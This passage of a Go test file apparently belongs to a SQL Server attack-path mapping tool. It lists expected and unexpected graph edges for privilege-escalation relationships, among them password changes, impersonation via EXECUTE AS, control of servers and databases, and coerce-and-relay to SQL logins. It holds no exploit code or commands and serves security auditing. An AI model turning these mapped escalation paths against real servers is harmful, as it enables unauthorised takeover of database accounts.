--------------------------------------------------------------------------- +// MSSQL_AlterAnyAppRole +// --------------------------------------------------------------------------- + +var alterAnyAppRoleTestCases = []edgeTestCase{ + {EdgeType: "MSSQL_AlterAnyAppRole", Description: "DatabaseUser with ALTER ANY APPLICATION ROLE targets database", SourcePattern: "AlterAnyAppRoleTest_User_HasAlterAnyAppRole@*\\EdgeTest_AlterAnyAppRole", TargetPattern: "*\\EdgeTest_AlterAnyAppRole", Perspective: "offensive"}, + {EdgeType: "MSSQL_AlterAnyAppRole", Description: "DatabaseRole with ALTER ANY APPLICATION ROLE targets database", SourcePattern: "AlterAnyAppRoleTest_DbRole_HasAlterAnyAppRole@*\\EdgeTest_AlterAnyAppRole", TargetPattern: "*\\EdgeTest_AlterAnyAppRole", Perspective: "offensive"}, + {EdgeType: "MSSQL_AlterAnyAppRole", Description: "ApplicationRole with ALTER ANY APPLICATION ROLE targets database", SourcePattern: "AlterAnyAppRoleTest_AppRole_HasAlterAnyAppRole@*\\EdgeTest_AlterAnyAppRole", TargetPattern: "*\\EdgeTest_AlterAnyAppRole", Perspective: "offensive"}, + {EdgeType: "MSSQL_AlterAnyAppRole", Description: "db_securityadmin targets database", SourcePattern: "db_securityadmin@*\\EdgeTest_AlterAnyAppRole", TargetPattern: "*\\EdgeTest_AlterAnyAppRole", Perspective: "offensive"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_AlterAnyDBRole +// --------------------------------------------------------------------------- + +var alterAnyDBRoleTestCases = []edgeTestCase{ + // OFFENSIVE: Source -> Database + {EdgeType: "MSSQL_AlterAnyDBRole", Description: "DatabaseUser with ALTER ANY ROLE targets database", SourcePattern: "AlterAnyDBRoleTest_User_HasAlterAnyRole@*\\EdgeTest_AlterAnyDBRole", TargetPattern: "*\\EdgeTest_AlterAnyDBRole", Perspective: "offensive"}, + {EdgeType: "MSSQL_AlterAnyDBRole", Description: "DatabaseRole with ALTER ANY ROLE targets database", SourcePattern: "AlterAnyDBRoleTest_DbRole_HasAlterAnyRole@*\\EdgeTest_AlterAnyDBRole", TargetPattern: "*\\EdgeTest_AlterAnyDBRole", Perspective: "offensive"}, + {EdgeType: "MSSQL_AlterAnyDBRole", Description: "ApplicationRole with ALTER ANY ROLE targets database", SourcePattern: "AlterAnyDBRoleTest_AppRole_HasAlterAnyRole@*\\EdgeTest_AlterAnyDBRole", TargetPattern: "*\\EdgeTest_AlterAnyDBRole", Perspective: "offensive"}, + {EdgeType: "MSSQL_AlterAnyDBRole", Description: "db_securityadmin targets database", SourcePattern: "db_securityadmin@*\\EdgeTest_AlterAnyDBRole", TargetPattern: "*\\EdgeTest_AlterAnyDBRole", Perspective: "offensive"}, + {EdgeType: "MSSQL_AlterAnyDBRole", Description: "db_owner targets database", SourcePattern: "db_owner@*\\EdgeTest_AlterAnyDBRole", TargetPattern: "*\\EdgeTest_AlterAnyDBRole", Perspective: "offensive", Negative: true, Reason: "db_owner is not drawing edge, included under ControlDB"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_AlterAnyLogin +// --------------------------------------------------------------------------- + +var alterAnyLoginTestCases = []edgeTestCase{ + {EdgeType: "MSSQL_AlterAnyLogin", Description: "Login with ALTER ANY LOGIN targets server", SourcePattern: "AlterAnyLoginTest_Login_HasAlterAnyLogin@*", TargetPattern: "S-1-5-21-*", Perspective: "offensive"}, + {EdgeType: "MSSQL_AlterAnyLogin", Description: "ServerRole with ALTER ANY LOGIN targets server", SourcePattern: "AlterAnyLoginTest_ServerRole_HasAlterAnyLogin@*", TargetPattern: "S-1-5-21-*", Perspective: "offensive"}, + {EdgeType: "MSSQL_AlterAnyLogin", Description: "securityadmin role targets server", SourcePattern: "securityadmin@*", TargetPattern: "S-1-5-21-*", Perspective: "offensive"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_AlterAnyServerRole +// --------------------------------------------------------------------------- + +var alterAnyServerRoleTestCases = []edgeTestCase{ + // OFFENSIVE: Source -> Server + {EdgeType: "MSSQL_AlterAnyServerRole", Description: "Login with ALTER ANY SERVER ROLE targets server", SourcePattern: "AlterAnyServerRoleTest_Login_HasAlterAnyServerRole@*", TargetPattern: "S-1-5-21-*", Perspective: "offensive"}, + {EdgeType: "MSSQL_AlterAnyServerRole", Description: "ServerRole with ALTER ANY SERVER ROLE targets server", SourcePattern: "AlterAnyServerRoleTest_ServerRole_HasAlterAnyServerRole@*", TargetPattern: "S-1-5-21-*", Perspective: "offensive"}, + {EdgeType: "MSSQL_AlterAnyServerRole", Description: "sysadmin does not have AlterAnyServerRole edge drawn (covered by ControlServer)", SourcePattern: "sysadmin@*", TargetPattern: "S-1-5-21-*", Perspective: "offensive", Negative: true}, +} + +// --------------------------------------------------------------------------- +// MSSQL_ChangeOwner +// --------------------------------------------------------------------------- + +var changeOwnerTestCases = []edgeTestCase{ + // SERVER LEVEL + {EdgeType: "MSSQL_ChangeOwner", Description: "Login with TAKE OWNERSHIP on server role", SourcePattern: "ChangeOwnerTest_Login_CanTakeOwnershipServerRole@*", TargetPattern: "ChangeOwnerTest_ServerRole_TargetOf_Login@*", Perspective: "offensive"}, + {EdgeType: "MSSQL_ChangeOwner", Description: "Login with CONTROL on server role", SourcePattern: "ChangeOwnerTest_Login_CanControlServerRole@*", TargetPattern: "ChangeOwnerTest_ServerRole_TargetOf_Login_CanControlServerRole@*", Perspective: "offensive"}, + {EdgeType: "MSSQL_ChangeOwner", Description: "ServerRole with TAKE OWNERSHIP on server role", SourcePattern: "ChangeOwnerTest_ServerRole_CanTakeOwnershipServerRole@*", TargetPattern: "ChangeOwnerTest_ServerRole_TargetOf_ServerRole_CanTakeOwnershipServerRole@*", Perspective: "offensive"}, + {EdgeType: "MSSQL_ChangeOwner", Description: "ServerRole with CONTROL on server role", SourcePattern: "ChangeOwnerTest_ServerRole_CanControlServerRole@*", TargetPattern: "ChangeOwnerTest_ServerRole_TargetOf_ServerRole_CanControlServerRole@*", Perspective: "offensive"}, + + // DATABASE LEVEL: TAKE OWNERSHIP on database -> roles + {EdgeType: "MSSQL_ChangeOwner", Description: "DatabaseUser with TAKE OWNERSHIP on database -> roles", SourcePattern: "ChangeOwnerTest_User_CanTakeOwnershipDb@*\\EdgeTest_ChangeOwner", TargetPattern: "ChangeOwnerTest_DbRole_TargetOf_User_CanTakeOwnershipDb@*\\EdgeTest_ChangeOwner", Perspective: "offensive"}, + {EdgeType: "MSSQL_ChangeOwner", Description: "DatabaseRole with TAKE OWNERSHIP on database -> roles", SourcePattern: "ChangeOwnerTest_DbRole_CanTakeOwnershipDb@*\\EdgeTest_ChangeOwner", TargetPattern: "ChangeOwnerTest_DbRole_TargetOf_DbRole_CanTakeOwnershipDb@*\\EdgeTest_ChangeOwner", Perspective: "offensive"}, + {EdgeType: "MSSQL_ChangeOwner", Description: "ApplicationRole with TAKE OWNERSHIP on database -> roles", SourcePattern: "ChangeOwnerTest_AppRole_CanTakeOwnershipDb@*\\EdgeTest_ChangeOwner", TargetPattern: "ChangeOwnerTest_DbRole_TargetOf_AppRole_CanTakeOwnershipDb@*\\EdgeTest_ChangeOwner", Perspective: "offensive"}, + + // DATABASE LEVEL: TAKE OWNERSHIP/CONTROL on specific role + {EdgeType: "MSSQL_ChangeOwner", Description: "DatabaseUser with TAKE OWNERSHIP on specific role", SourcePattern: "ChangeOwnerTest_User_CanTakeOwnershipDbRole@*\\EdgeTest_ChangeOwner", TargetPattern: "ChangeOwnerTest_DbRole_TargetOf_User_CanTakeOwnershipDbRole@*\\EdgeTest_ChangeOwner", Perspective: "offensive"}, + {EdgeType: "MSSQL_ChangeOwner", Description: "DatabaseUser with CONTROL on specific role", SourcePattern: "ChangeOwnerTest_User_CanControlDbRole@*\\EdgeTest_ChangeOwner", TargetPattern: "ChangeOwnerTest_DbRole_TargetOf_User_CanControlDbRole@*\\EdgeTest_ChangeOwner", Perspective: "offensive"}, + {EdgeType: "MSSQL_ChangeOwner", Description: "DatabaseRole with TAKE OWNERSHIP on specific role", SourcePattern: "ChangeOwnerTest_DbRole_CanTakeOwnershipDbRole@*\\EdgeTest_ChangeOwner", TargetPattern: "ChangeOwnerTest_DbRole_TargetOf_DbRole_CanTakeOwnershipDbRole@*\\EdgeTest_ChangeOwner", Perspective: "offensive"}, + {EdgeType: "MSSQL_ChangeOwner", Description: "DatabaseRole with CONTROL on specific role", SourcePattern: "ChangeOwnerTest_DbRole_CanControlDbRole@*\\EdgeTest_ChangeOwner", TargetPattern: "ChangeOwnerTest_DbRole_TargetOf_DbRole_CanControlDbRole@*\\EdgeTest_ChangeOwner", Perspective: "offensive"}, + {EdgeType: "MSSQL_ChangeOwner", Description: "ApplicationRole with TAKE OWNERSHIP on specific role", SourcePattern: "ChangeOwnerTest_AppRole_CanTakeOwnershipDbRole@*\\EdgeTest_ChangeOwner", TargetPattern: "ChangeOwnerTest_DbRole_TargetOf_AppRole_CanTakeOwnershipDbRole@*\\EdgeTest_ChangeOwner", Perspective: "offensive"}, + {EdgeType: "MSSQL_ChangeOwner", Description: "ApplicationRole with CONTROL on specific role", SourcePattern: "ChangeOwnerTest_AppRole_CanControlDbRole@*\\EdgeTest_ChangeOwner", TargetPattern: "ChangeOwnerTest_DbRole_TargetOf_AppRole_CanControlDbRole@*\\EdgeTest_ChangeOwner", Perspective: "offensive"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_ChangePassword +// --------------------------------------------------------------------------- + +var changePasswordTestCases = []edgeTestCase{ + // SERVER LEVEL + {EdgeType: "MSSQL_ChangePassword", Description: "Login with ALTER ANY LOGIN can change password of SQL login", SourcePattern: "ChangePasswordTest_Login_CanAlterAnyLogin@*", TargetPattern: "ChangePasswordTest_Login_TargetOf_Login_CanAlterAnyLogin@*", Perspective: "offensive"}, + {EdgeType: "MSSQL_ChangePassword", Description: "ServerRole with ALTER ANY LOGIN can change password of SQL login", SourcePattern: "ChangePasswordTest_ServerRole_CanAlterAnyLogin@*", TargetPattern: "ChangePasswordTest_Login_TargetOf_ServerRole_CanAlterAnyLogin@*", Perspective: "offensive"}, + {EdgeType: "MSSQL_ChangePassword", Description: "securityadmin can change password of SQL login", SourcePattern: "securityadmin@*", TargetPattern: "ChangePasswordTest_Login_TargetOf_SecurityAdmin@*", Perspective: "offensive"}, + {EdgeType: "MSSQL_ChangePassword", Description: "Cannot change password of login with sysadmin without CONTROL SERVER", SourcePattern: "ChangePasswordTest_Login_CanAlterAnyLogin@*", TargetPattern: "ChangePasswordTest_Login_WithSysadmin@*", Negative: true, Reason: "Target has sysadmin and source lacks CONTROL SERVER", Perspective: "offensive"}, + {EdgeType: "MSSQL_ChangePassword", Description: "Cannot change password of login with CONTROL SERVER", SourcePattern: "ChangePasswordTest_Login_CanAlterAnyLogin@*", TargetPattern: "ChangePasswordTest_Login_WithControlServer@*", Negative: true, Reason: "Target has CONTROL SERVER and source lacks CONTROL SERVER", Perspective: "offensive"}, + {EdgeType: "MSSQL_ChangePassword", Description: "Cannot change password of sa login", SourcePattern: "ChangePasswordTest_Login_CanAlterAnyLogin@*", TargetPattern: "sa@*", Negative: true, Reason: "sa login password cannot be changed via ALTER ANY LOGIN", Perspective: "offensive"}, + + // DATABASE LEVEL: ApplicationRole password change + {EdgeType: "MSSQL_ChangePassword", Description: "DatabaseUser with ALTER ANY APPLICATION ROLE can change app role password", SourcePattern: "ChangePasswordTest_User_CanAlterAnyAppRole@*\\EdgeTest_ChangePassword", TargetPattern: "ChangePasswordTest_AppRole_TargetOf_User_CanAlterAnyAppRole@*\\EdgeTest_ChangePassword", Perspective: "offensive"}, + {EdgeType: "MSSQL_ChangePassword", Description: "DatabaseRole with ALTER ANY APPLICATION ROLE can change app role password", SourcePattern: "ChangePasswordTest_DbRole_CanAlterAnyAppRole@*\\EdgeTest_ChangePassword", TargetPattern: "ChangePasswordTest_AppRole_TargetOf_DbRole_CanAlterAnyAppRole@*\\EdgeTest_ChangePassword", Perspective: "offensive"}, + {EdgeType: "MSSQL_ChangePassword", Description: "ApplicationRole with ALTER ANY APPLICATION ROLE can change app role password", SourcePattern: "ChangePasswordTest_AppRole_CanAlterAnyAppRole@*\\EdgeTest_ChangePassword", TargetPattern: "ChangePasswordTest_AppRole_TargetOf_AppRole_CanAlterAnyAppRole@*\\EdgeTest_ChangePassword", Perspective: "offensive"}, + {EdgeType: "MSSQL_ChangePassword", Description: "db_securityadmin can change app role password", SourcePattern: "db_securityadmin@*\\EdgeTest_ChangePassword", TargetPattern: "ChangePasswordTest_AppRole_TargetOf_DbSecurityAdmin@*\\EdgeTest_ChangePassword", Perspective: "offensive"}, +} + +// --------------------------------------------------------------------------- +// CoerceAndRelayToMSSQL +// --------------------------------------------------------------------------- + +var coerceAndRelayTestCases = []edgeTestCase{ + {EdgeType: "CoerceAndRelayToMSSQL", Description: "Authenticated Users can coerce and relay to computer with SQL login", SourcePattern: "*S-1-5-11", TargetPattern: "*CoerceTestEnabled1*", Perspective: "both"}, + {EdgeType: "CoerceAndRelayToMSSQL", Description: "Authenticated Users can coerce and relay to second computer with SQL login", SourcePattern: "*S-1-5-11", TargetPattern: "*CoerceTestEnabled2*", Perspective: "both"}, + {EdgeType: "CoerceAndRelayToMSSQL", Description: "No edge to computer with disabled SQL login", SourcePattern: "*S-1-5-11", TargetPattern: "*CoerceTestDisabled*", Negative: true, Reason: "Computer's SQL login is disabled", Perspective: "both"}, + {EdgeType: "CoerceAndRelayToMSSQL", Description: "No edge to computer with CONNECT SQL denied", SourcePattern: "*S-1-5-11", TargetPattern: "*CoerceTestNoConnect*", Negative: true, Reason: "Computer's SQL login has CONNECT SQL denied", Perspective: "both"}, + {EdgeType: "CoerceAndRelayToMSSQL", Description: "No edge for regular user account", SourcePattern: "*S-1-5-11", TargetPattern: "*CoerceTestUser*", Negative: true, Reason: "Target is not a computer account", Perspective: "both"}, + {EdgeType: "CoerceAndRelayToMSSQL", Description: "No edge for SQL login", SourcePattern: "*S-1-5-11", TargetPattern: "*CoerceTestSQLLogin*", Negative: true, Reason: "Target is not a Windows login", Perspective: "both"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_Connect +// --------------------------------------------------------------------------- + +var connectTestCases = []edgeTestCase{ + // Server level - positive + {EdgeType: "MSSQL_Connect", Description: "Login with CONNECT SQL permission", SourcePattern: "ConnectTest_Login_HasConnectSQL@*", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_Connect", Description: "Server role with CONNECT SQL permission", SourcePattern: "ConnectTest_ServerRole_HasConnectSQL@*", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + + // Database level - positive + {EdgeType: "MSSQL_Connect", Description: "Database user with CONNECT permission", SourcePattern: "ConnectTest_User_HasConnect@*\\EdgeTest_Connect", TargetPattern: "*\\EdgeTest_Connect", Perspective: "both"}, + {EdgeType: "MSSQL_Connect", Description: "Database role with CONNECT permission", SourcePattern: "ConnectTest_DbRole_HasConnect@*\\EdgeTest_Connect", TargetPattern: "*\\EdgeTest_Connect", Perspective: "both"}, + + // Server level - negative + {EdgeType: "MSSQL_Connect", Description: "Login with CONNECT SQL denied", SourcePattern: "ConnectTest_Login_NoConnectSQL@*", TargetPattern: "S-1-5-21-*", Negative: true, Reason: "CONNECT SQL is denied", Perspective: "both"}, + {EdgeType: "MSSQL_Connect", Description: "Disabled login should not have Connect edge", SourcePattern: "ConnectTest_Login_Disabled@*", TargetPattern: "S-1-5-21-*", Negative: true, Reason: "Login is disabled", Perspective: "both"}, + + // Database level - negative + {EdgeType: "MSSQL_Connect", Description: "Database user with CONNECT denied", SourcePattern: "ConnectTest_User_NoConnect@*\\EdgeTest_Connect", TargetPattern: "*\\EdgeTest_Connect", Negative: true, Reason: "CONNECT is denied", Perspective: "both"}, + {EdgeType: "MSSQL_Connect", Description: "Application role cannot have CONNECT permission", SourcePattern: "ConnectTest_AppRole@*\\EdgeTest_Connect", TargetPattern: "*\\EdgeTest_Connect", Negative: true, Reason: "Application roles cannot be assigned CONNECT permission", Perspective: "both"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_ConnectAnyDatabase +// --------------------------------------------------------------------------- + +var connectAnyDatabaseTestCases = []edgeTestCase{ + {EdgeType: "MSSQL_ConnectAnyDatabase", Description: "Login with CONNECT ANY DATABASE permission", SourcePattern: "ConnectAnyDatabaseTest_Login_HasConnectAnyDatabase@*", TargetPattern: "S-1-5-21-*", Perspective: "offensive"}, + {EdgeType: "MSSQL_ConnectAnyDatabase", Description: "Server role with CONNECT ANY DATABASE permission", SourcePattern: "ConnectAnyDatabaseTest_ServerRole_HasConnectAnyDatabase@*", TargetPattern: "S-1-5-21-*", Perspective: "offensive"}, + {EdgeType: "MSSQL_ConnectAnyDatabase", Description: "##MS_DatabaseConnector## has CONNECT ANY DATABASE permission", SourcePattern: "##MS_DatabaseConnector##@*", TargetPattern: "S-1-5-21-*", Perspective: "offensive"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_Contains +// --------------------------------------------------------------------------- + +var containsTestCases = []edgeTestCase{ + {EdgeType: "MSSQL_Contains", Description: "Server contains database", SourcePattern: "S-1-5-21-*", TargetPattern: "S-1-5-21-*\\EdgeTest_Contains", Perspective: "both"}, + {EdgeType: "MSSQL_Contains", Description: "Server contains login 1", SourcePattern: "S-1-5-21-*", TargetPattern: "ContainsTest_Login1@*", Perspective: "both"}, + {EdgeType: "MSSQL_Contains", Description: "Server contains login 2", SourcePattern: "S-1-5-21-*", TargetPattern: "ContainsTest_Login2@*", Perspective: "both"}, + {EdgeType: "MSSQL_Contains", Description: "Server contains server role 1", SourcePattern: "S-1-5-21-*", TargetPattern: "ContainsTest_ServerRole1@*", Perspective: "both"}, + {EdgeType: "MSSQL_Contains", Description: "Server contains server role 2", SourcePattern: "S-1-5-21-*", TargetPattern: "ContainsTest_ServerRole2@*", Perspective: "both"}, + {EdgeType: "MSSQL_Contains", Description: "Database contains database user 1", SourcePattern: "*\\EdgeTest_Contains", TargetPattern: "ContainsTest_User1@*\\EdgeTest_Contains", Perspective: "both"}, + {EdgeType: "MSSQL_Contains", Description: "Database contains database user 2", SourcePattern: "*\\EdgeTest_Contains", TargetPattern: "ContainsTest_User2@*\\EdgeTest_Contains", Perspective: "both"}, + {EdgeType: "MSSQL_Contains", Description: "Database contains database role 1", SourcePattern: "*\\EdgeTest_Contains", TargetPattern: "ContainsTest_DbRole1@*\\EdgeTest_Contains", Perspective: "both"}, + {EdgeType: "MSSQL_Contains", Description: "Database contains database role 2", SourcePattern: "*\\EdgeTest_Contains", TargetPattern: "ContainsTest_DbRole2@*\\EdgeTest_Contains", Perspective: "both"}, + {EdgeType: "MSSQL_Contains", Description: "Database contains application role 1", SourcePattern: "*\\EdgeTest_Contains", TargetPattern: "ContainsTest_AppRole1@*\\EdgeTest_Contains", Perspective: "both"}, + {EdgeType: "MSSQL_Contains", Description: "Database contains application role 2", SourcePattern: "*\\EdgeTest_Contains", TargetPattern: "ContainsTest_AppRole2@*\\EdgeTest_Contains", Perspective: "both"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_Control +// --------------------------------------------------------------------------- + +var controlTestCases = []edgeTestCase{ + {EdgeType: "MSSQL_Control", Description: "Login with CONTROL on login", SourcePattern: "ControlTest_Login_CanControlLogin@*", TargetPattern: "ControlTest_Login_TargetOf_Login_CanControlLogin@*", Perspective: "offensive"}, + {EdgeType: "MSSQL_Control", Description: "Login with CONTROL on role can alter role", SourcePattern: "ControlTest_Login_CanControlServerRole@*", TargetPattern: "ControlTest_ServerRole_TargetOf_Login_CanControlServerRole@*", Perspective: "offensive"}, + {EdgeType: "MSSQL_Control", Description: "ServerRole with CONTROL on login", SourcePattern: "ControlTest_ServerRole_CanControlLogin@*", TargetPattern: "ControlTest_Login_TargetOf_ServerRole_CanControlLogin@*", Perspective: "offensive"}, + {EdgeType: "MSSQL_Control", Description: "ServerRole with CONTROL on role can alter role", SourcePattern: "ControlTest_ServerRole_CanControlServerRole@*", TargetPattern: "ControlTest_ServerRole_TargetOf_ServerRole_CanControlServerRole@*", Perspective: "offensive"}, + {EdgeType: "MSSQL_Control", Description: "DatabaseUser with CONTROL on database can alter database", SourcePattern: "ControlTest_User_CanControlDb@*\\EdgeTest_Control", TargetPattern: "*\\EdgeTest_Control", Perspective: "offensive"}, + {EdgeType: "MSSQL_Control", Description: "DatabaseRole with CONTROL on database can alter database", SourcePattern: "ControlTest_DbRole_CanControlDb@*\\EdgeTest_Control", TargetPattern: "*\\EdgeTest_Control", Perspective: "offensive"}, + {EdgeType: "MSSQL_Control", Description: "ApplicationRole with CONTROL on database can alter database", SourcePattern: "ControlTest_AppRole_CanControlDb@*\\EdgeTest_Control", TargetPattern: "*\\EdgeTest_Control", Perspective: "offensive"}, + {EdgeType: "MSSQL_Control", Description: "DatabaseUser with CONTROL on user", SourcePattern: "ControlTest_User_CanControlDbUser@*\\EdgeTest_Control", TargetPattern: "ControlTest_User_TargetOf_User_CanControlDbUser@*\\EdgeTest_Control", Perspective: "offensive"}, + {EdgeType: "MSSQL_Control", Description: "DatabaseRole with CONTROL on user", SourcePattern: "ControlTest_DbRole_CanControlDbUser@*\\EdgeTest_Control", TargetPattern: "ControlTest_User_TargetOf_DbRole_CanControlDbUser@*\\EdgeTest_Control", Perspective: "offensive"}, + {EdgeType: "MSSQL_Control", Description: "ApplicationRole with CONTROL on user", SourcePattern: "ControlTest_AppRole_CanControlDbUser@*\\EdgeTest_Control", TargetPattern: "ControlTest_User_TargetOf_AppRole_CanControlDbUser@*\\EdgeTest_Control", Perspective: "offensive"}, + {EdgeType: "MSSQL_Control", Description: "DatabaseUser with CONTROL on role can alter role", SourcePattern: "ControlTest_User_CanControlDbRole@*\\EdgeTest_Control", TargetPattern: "ControlTest_DbRole_TargetOf_User_CanControlDbRole@*\\EdgeTest_Control", Perspective: "offensive"}, + {EdgeType: "MSSQL_Control", Description: "DatabaseRole with CONTROL on role can alter role", SourcePattern: "ControlTest_DbRole_CanControlDbRole@*\\EdgeTest_Control", TargetPattern: "ControlTest_DbRole_TargetOf_DbRole_CanControlDbRole@*\\EdgeTest_Control", Perspective: "offensive"}, + {EdgeType: "MSSQL_Control", Description: "ApplicationRole with CONTROL on role can alter role", SourcePattern: "ControlTest_AppRole_CanControlDbRole@*\\EdgeTest_Control", TargetPattern: "ControlTest_DbRole_TargetOf_AppRole_CanControlDbRole@*\\EdgeTest_Control", Perspective: "offensive"}, + {EdgeType: "MSSQL_Control", Description: "DatabaseUser with CONTROL on app role", SourcePattern: "ControlTest_User_CanControlAppRole@*\\EdgeTest_Control", TargetPattern: "ControlTest_AppRole_TargetOf_User_CanControlAppRole@*\\EdgeTest_Control", Perspective: "offensive"}, + {EdgeType: "MSSQL_Control", Description: "DatabaseRole with CONTROL on app role", SourcePattern: "ControlTest_DbRole_CanControlAppRole@*\\EdgeTest_Control", TargetPattern: "ControlTest_AppRole_TargetOf_DbRole_CanControlAppRole@*\\EdgeTest_Control", Perspective: "offensive"}, + {EdgeType: "MSSQL_Control", Description: "ApplicationRole with CONTROL on app role", SourcePattern: "ControlTest_AppRole_CanControlAppRole@*\\EdgeTest_Control", TargetPattern: "ControlTest_AppRole_TargetOf_AppRole_CanControlAppRole@*\\EdgeTest_Control", Perspective: "offensive"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_ControlDB +// --------------------------------------------------------------------------- + +var controlDBTestCases = []edgeTestCase{ + {EdgeType: "MSSQL_ControlDB", Description: "DatabaseUser with CONTROL on database", SourcePattern: "ControlDBTest_User_HasControlOnDb@*\\EdgeTest_ControlDB", TargetPattern: "*\\EdgeTest_ControlDB", Perspective: "both"}, + {EdgeType: "MSSQL_ControlDB", Description: "DatabaseRole with CONTROL on database", SourcePattern: "ControlDBTest_DbRole_HasControlOnDb@*\\EdgeTest_ControlDB", TargetPattern: "*\\EdgeTest_ControlDB", Perspective: "both"}, + {EdgeType: "MSSQL_ControlDB", Description: "ApplicationRole with CONTROL on database", SourcePattern: "ControlDBTest_AppRole_HasControlOnDb@*\\EdgeTest_ControlDB", TargetPattern: "*\\EdgeTest_ControlDB", Perspective: "both"}, + {EdgeType: "MSSQL_ControlDB", Description: "db_owner has implicit CONTROL of databases", SourcePattern: "db_owner@*\\EdgeTest_ControlDB", TargetPattern: "*\\EdgeTest_ControlDB", Perspective: "both"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_ControlServer +// --------------------------------------------------------------------------- + +var controlServerTestCases = []edgeTestCase{ + {EdgeType: "MSSQL_ControlServer", Description: "Login with CONTROL SERVER permission", SourcePattern: "ControlServerTest_Login_HasControlServer@*", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_ControlServer", Description: "ServerRole with CONTROL SERVER permission", SourcePattern: "ControlServerTest_ServerRole_HasControlServer@*", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_ControlServer", Description: "sysadmin fixed role has CONTROL SERVER by default", SourcePattern: "sysadmin@*", TargetPattern: "S-1-5-21-*", Perspective: "both"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_ExecuteAs +// --------------------------------------------------------------------------- + +var executeAsTestCases = []edgeTestCase{ + // SERVER LEVEL + {EdgeType: "MSSQL_ExecuteAs", Description: "Login with IMPERSONATE on login can execute as", SourcePattern: "ExecuteAsTest_Login_CanImpersonateLogin@*", TargetPattern: "ExecuteAsTest_Login_TargetOf_Login_CanImpersonateLogin@*", Perspective: "offensive"}, + {EdgeType: "MSSQL_ExecuteAs", Description: "Login with CONTROL on login can execute as", SourcePattern: "ExecuteAsTest_Login_CanControlLogin@*", TargetPattern: "ExecuteAsTest_Login_TargetOf_Login_CanControlLogin@*", Perspective: "offensive"}, + {EdgeType: "MSSQL_ExecuteAs", Description: "ServerRole with IMPERSONATE on login can execute as", SourcePattern: "ExecuteAsTest_ServerRole_CanImpersonateLogin@*", TargetPattern: "ExecuteAsTest_Login_TargetOf_ServerRole_CanImpersonateLogin@*", Perspective: "offensive"}, + {EdgeType: "MSSQL_ExecuteAs", Description: "ServerRole with CONTROL on login can execute as", SourcePattern: "ExecuteAsTest_ServerRole_CanControlLogin@*", TargetPattern: "ExecuteAsTest_Login_TargetOf_ServerRole_CanControlLogin@*", Perspective: "offensive"}, + + // DATABASE LEVEL + {EdgeType: "MSSQL_ExecuteAs", Description: "DatabaseUser with IMPERSONATE on user can execute as", SourcePattern: "ExecuteAsTest_User_CanImpersonateDbUser@*\\EdgeTest_ExecuteAs", TargetPattern: "ExecuteAsTest_User_TargetOf_User_CanImpersonateDbUser@*\\EdgeTest_ExecuteAs", Perspective: "offensive"}, + {EdgeType: "MSSQL_ExecuteAs", Description: "DatabaseUser with CONTROL on user can execute as", SourcePattern: "ExecuteAsTest_User_CanControlDbUser@*\\EdgeTest_ExecuteAs", TargetPattern: "ExecuteAsTest_User_TargetOf_User_CanControlDbUser@*\\EdgeTest_ExecuteAs", Perspective: "offensive"}, + {EdgeType: "MSSQL_ExecuteAs", Description: "DatabaseRole with IMPERSONATE on user can execute as", SourcePattern: "ExecuteAsTest_DbRole_CanImpersonateDbUser@*\\EdgeTest_ExecuteAs", TargetPattern: "ExecuteAsTest_User_TargetOf_DbRole_CanImpersonateDbUser@*\\EdgeTest_ExecuteAs", Perspective: "offensive"}, + {EdgeType: "MSSQL_ExecuteAs", Description: "DatabaseRole with CONTROL on user can execute as", SourcePattern: "ExecuteAsTest_DbRole_CanControlDbUser@*\\EdgeTest_ExecuteAs", TargetPattern: "ExecuteAsTest_User_TargetOf_DbRole_CanControlDbUser@*\\EdgeTest_ExecuteAs", Perspective: "offensive"}, + {EdgeType: "MSSQL_ExecuteAs", Description: "ApplicationRole with IMPERSONATE on user can execute as", SourcePattern: "ExecuteAsTest_AppRole_CanImpersonateDbUser@*\\EdgeTest_ExecuteAs", TargetPattern: "ExecuteAsTest_User_TargetOf_AppRole_CanImpersonateDbUser@*\\EdgeTest_ExecuteAs", Perspective: "offensive"}, + {EdgeType: "MSSQL_ExecuteAs", Description: "ApplicationRole with CONTROL on user can execute as", SourcePattern: "ExecuteAsTest_AppRole_CanControlDbUser@*\\EdgeTest_ExecuteAs", TargetPattern: "ExecuteAsTest_User_TargetOf_AppRole_CanControlDbUser@*\\EdgeTest_ExecuteAs", Perspective: "offensive"}, +} + +// --------------------------------------------------------------------------- +// MSSQL_ExecuteAsOwner + MSSQL_IsTrustedBy +// --------------------------------------------------------------------------- + +var executeAsOwnerTestCases = []edgeTestCase{ + // ExecuteAsOwner positive + {EdgeType: "MSSQL_ExecuteAsOwner", Description: "TRUSTWORTHY database owned by login with sysadmin", SourcePattern: "*\\EdgeTest_ExecuteAsOwner_OwnedByLoginWithSysadmin", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_ExecuteAsOwner", Description: "TRUSTWORTHY database owned by login with securityadmin", SourcePattern: "*\\EdgeTest_ExecuteAsOwner_OwnedByLoginWithSecurityadmin", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_ExecuteAsOwner", Description: "TRUSTWORTHY database owned by login with nested role in securityadmin", SourcePattern: "*\\EdgeTest_ExecuteAsOwner_OwnedByLoginWithNestedRoleInSecurityadmin", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_ExecuteAsOwner", Description: "TRUSTWORTHY database owned by login with CONTROL SERVER", SourcePattern: "*\\EdgeTest_ExecuteAsOwner_OwnedByLoginWithControlServer", TargetPattern: "S-1-5-21-*", Perspective: "both"}, + {EdgeType: "MSSQL_ExecuteAsOwner", Description: "TRUSTWORTHY database owned by login with role with CONTROL SERVER", SourcePattern: "*\\EdgeTest_ExecuteAsOwner_OwnedByLoginWithRoleWithControlServer", 